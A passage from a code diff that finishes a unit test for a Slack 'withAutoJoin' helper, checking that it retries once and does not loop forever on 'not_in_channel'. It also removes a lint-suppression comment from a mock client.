+ await expect(withAutoJoin(client, "C123", fn)).rejects.toThrow("not_in_channel");
77
+ expect(fn).toHaveBeenCalledTimes(2);
78
+ expect(joinFn).toHaveBeenCalledTimes(1); // no infinite loop
79
+ });
80
+ });
@@ -62,7 +62,6 @@ function makeMockClient(byUserId: Record<string, MockUsersInfoResponse | "throw"
62
62
  },
63
63
  };
64
64
  return {
65
- // biome-ignore lint/suspicious/noExplicitAny: shape-matched to WebClient's users.info call site.
66
65
  client: client as any,
67
66
  callCounts,
68
67
  };